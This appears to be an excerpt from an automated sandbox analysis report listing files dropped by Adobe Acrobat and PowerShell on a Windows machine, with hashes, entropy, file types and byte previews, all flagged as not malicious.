SHA-512:	4C61C59238EADA8A74E9AC05FB1D8AB8E89AB15D539B8ED40056BAC5696A372D16B2D92390018CA3CC1D7E4C8E33E0ABB58F7DCD6C886A7AC36E2699941403E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.214557683761497
Encrypted:	false
SSDEEP:	6:YEQXJ2HXv6aIQtHx+FIbRI6XVW7+0Yql3oAvJfshHHrPeUkwRe9:YvXKXv6/CUYpW7blYGUUUkee9
MD5:	6FB32E1C4AE677C66F6EAA3FC4CD18FB
SHA1:	327C53A95792D01474ED3C10ED179F457727B344
SHA-256:	323DD046C4E8CBB2BDFB302F763458BE2EA7CDD75BF0A0796090087BEBC1B4CB
SHA-512:	08CE526D67211828CE8C9CC695B61D2597399BAEDC1DC58FF1BCE4CC28A79243DD3B06AE7FE2C76EB15C43EC7984733A4881B53B6EB524CA036796C380CF39E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.223706931373003
Encrypted:	false
SSDEEP:	6:YEQXJ2HXv6aIQtHx+FIbRI6XVW7+0Yql3oAvJTqgFCrPeUkwRe9:YvXKXv6/CUYpW7blYGTq16Ukee9
MD5:	40C6A61B66B8DA19B7128CB1E4427020
SHA1:	BABFFA261BDCA9B0E6CBD32872E619F9F7F9155E
SHA-256:	A7E6E50D1F09A5C2FA6978AA343CFC3B46F6333EB9F30635B1A7791B66E93BF5
SHA-512:	C72B1A7A28084915A3EFE22A00057D4BC6C8476C0A1929A5DFA81107860009D86887C2CCBE9106063FE448971C2EBB64A7419FCF07EA3E249C95569D447FC569
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.13403121511782
Encrypted:	false
SSDEEP:	24:YtIGaW2ayf67KEi7BqXJypD9IKIz0N7PjIYZLj0SVfJUT4M0sC2WgP2LSVRCcXc2:Yb5eFSKHIYZn+Bo6P5nXc2DWYe89zt
MD5:	F46EDFF2F05943A2FE938DA294901A16
SHA1:	BE5E490693CFD779AB1D89DE6E781CF4A9AF6519
SHA-256:	A0741110560FF93B2C9B9FF3F973196764C2E0F0B71643021032FDD450AD78B0
SHA-512:	D0E05464D2001501DB29A5D6A305F24BC5FA37D63A0D89E4E3EDCA38913C7DD7B407886C002373A5700D866D2DB046658913B57300154EE9DEEBA4A776824A2F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"40a5deec59cda2efcd250182d5592382","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736532489000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"69d07ed8d0eefb7baca56ed59fd6fb94","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736532489000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"74c03cb614e99153b32ca6cfc4dab193","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736532489000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"7f883d0fb97caaa83e0fd8636908c1a5","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736532489000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"74dd4ba52a435a08fdb4aee1a97d2c29","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736532489000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"93acbf00500ef6555ae2687c9ac1de91","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9842519843082678
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spf4zJwtNBwtNbRZ6bRZ4KF:TVl2GL7ms6ggOVpQzutYtp6P7
MD5:	49994F3984A8D59D4B5F38089CA9E7AA
SHA1:	17ECEAB0B068C88E06621F7CF5BED2E6143F80EC
SHA-256:	7DBEFCA74B62B8F77A92AE880519FB0E8F160451031B7AA9A3D79C89971D630D
SHA-512:	2A8E57C8CF097EB8424BFC3E80A94BBEFD9E27121D61281553024681538B8331D5E5C843C2D613D1AD5CD80A0C6D94A36606B4FB5267070034BBFB24562BE0CA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.338673472641282
Encrypted:	false
SSDEEP:	24:7+teAD1RZKHs/Ds/SpfPzJwtNBwtNbRZ6bRZWf1RZK2qLBx/XYKQvGJF7ursln:7MeGgOVpXzutYtp6PMzqll2GL7msln
MD5:	E060EE67847FD6CDBB6B62900FFACBF3
SHA1:	D96BF244EBB73EA70F1E2CF3164555448C6B774C
SHA-256:	2B7331C59850CB36D12F19E29198384A0722532926AC1A8F2CF049F4EE551EA1
SHA-512:	7648F6C9DDEACE6415955812C1C43EB08935DB3EE96C73B7060F24D4F46065EB68F20FDD62165198C3594C3560081BAEA3777F1F0617BA872C45A4B8435DDAF6
Malicious:	false
Preview:	.... .c........9......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg5w1jeMInlCUeu5ubtxwNkbL+Yyu:6a6TZ44ADE5w18eu5gvMK+K
MD5:	8EA128B4D7CA1DBDB1B6384411BA8591
SHA1:	28410D403734C4857652ADB5C4C4E26D54F79F73
SHA-256:	118FEAA8512AFC0C8B48AF07F45249A5EE1CB5F31A2A65D6B242B43750E8B340
SHA-512:	F43366FB256C8151D40606EC2C09479AB7B879B910F07A2325BCC9F74AB79143069D1B70AD4DB7D168A741B02A39BEF285FBDCC501CD07C2E26666D0486DB71A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulh0ftZ:NllUi
MD5:	9F18A742EAAD8EA9759357408A05D375
SHA1:	8CCB34B5C53D0B5CAF1356AF460B11BCB3605403
SHA-256:	7ADC743705F312D5BDF538C631406783EDED995389093112A81F1762550F37EF
SHA-512:	F9B50E3C0F9B09BA7B25B5ED87C2C407F5B9343FD43A35AA66B0F6CC259433C3D2D3727F0E7C18053B170311DA4B19FD3A1D9F108CD38177F67ABF2B2CFE9DF8
Malicious:	false
Preview:	@...e.................................0.X............@..........

C:\Users\user\AppData\Local\Temp\MSI815ac.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEC:Qw946cPbiOxDlbYnuRK+bDC
MD5:	901FBB935EAD73B13A06AE83C2BD3770
SHA1:	F68826212132C3BBACAF37A82F237ACE54B86ACC
SHA-256:	DD94C38EFCA7A8D905E1BE8095E8D98433710049096E95C8E0E2032BB2E3F13F
SHA-512:	55E3A49032B65EFDEC189FBD589B281C919F686C0CDB1DD8E54E393E3DE264697956EFFEEF4D794C81805445C0BD3F5B6035F6EC00D378FB6FB15EEA8F13BAF5
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.0.8.:.0.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kw0rp14a.52n.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oiewdcv2.k4e.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-08-02-972.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3363051925295775
Encrypted:	false
SSDEEP:	384:apupGwTV+rm4RDjpt92vgOieqtAZkKyJqduISa4CHgudgQ3DH696DiJLsUb7jpls:PmRC
MD5:	F4C592667FACDB2B59FAB7A5935DA1D8
SHA1:	48D29562AC5A5B9A39A705D89A0F1FC4B823BCBF
SHA-256:	54704F60C8291CDF988C9ECEFAE001A007271F9B0AF6718F03AE7CE7278F25E6
SHA-512:	A8F925AF3D447F18149D03292B45415CA1CA67117F4DBE8A52E5F47CE87E8E66656B9F9FCBE72D08CFEA7E4396CB64B9A08221D23F33195362D6D3266A630443
Malicious:	false
Preview:	SessionID=c0c4ee08-77dd-4032-ab70-1939b2dac568.1736532483060 Timestamp=2025-01-10T13:08:03:060-0500 ThreadID=7836 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c0c4ee08-77dd-4032-ab70-1939b2dac568.1736532483060 Timestamp=2025-01-10T13:08:03:060-0500 ThreadID=7836 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c0c4ee08-77dd-4032-ab70-1939b2dac568.1736532483060 Timestamp=2025-01-10T13:08:03:061-0500 ThreadID=7836 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c0c4ee08-77dd-4032-ab70-1939b2dac568.1736532483060 Timestamp=2025-01-10T13:08:03:061-0500 ThreadID=7836 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c0c4ee08-77dd-4032-ab70-1939b2dac568.1736532483060 Timestamp=2025-01-10T13:08:03:061-0500 ThreadID=7836 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.390806254130373
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbK:UV
MD5:	242662B85BF073D0466E403F2C5E8147
SHA1:	8E06978122831E6B4ED72749EB0629759C78DE22
SHA-256:	60474AC6928833C3E917C4E71BF565A597625C84788497B002C136B55D11B56D
SHA-512:	BB571A8FCA83C8F3BE9934AA58A5A7763E87FC278492DB68F147F1EABF34CB5C8C6862ED8D3E9ECD675A7BC930394FAE56494DCAE09B3EDB9B99F850F14AF714
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0aae2335-544b-4fc8-a0a8-7be4c4151df0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yowYIGNP4bdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oBGZd:twZG6b3mlind9i4ufFXpAXkrfUs0qWLa
MD5:	8D04FDC5022E491B91EC6B32F003430B
SHA1:	6619D46E06076B5669D4CC677D6D8F638189E46A
SHA-256:	7682C53053D66EF0B1A89335C88C4420226B10AFAC87A286E6E1A6BC795FEE61
SHA-512:	AA96FA56D3C5C4200BAA917D3091ADB1A5FAE7D534DD9C909D8B60AE13E902D6B71D42C2823319483414987E4B41079FA241B3D0A384EE4B281B63F834917E7D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5878fe41-c982-4c2a-8b21-cac4f45c454f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	E88AC53FE29BDF9402BCF11696989153
SHA1:	EC950FE1C9ABBFB3713A082FC43B451A7F1A708F
SHA-256:	EB1E6D431D432B488F5B17DD7806ED04260E4A37264F282367F02C466A98327C
SHA-512:	A08590B0F5C1F281046A9E9D03A481758991E8C9CA2A96B8F59644C182F9D6EC81E9834FEF46FB3B27074EE8605C5AED79AB30957AFCB7A2734AD5018CB5C502
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\82d0eded-4b58-41d4-9d6a-48aae75ad5bf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\afd981ff-b11f-453d-ad6c-58535df6ca1d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
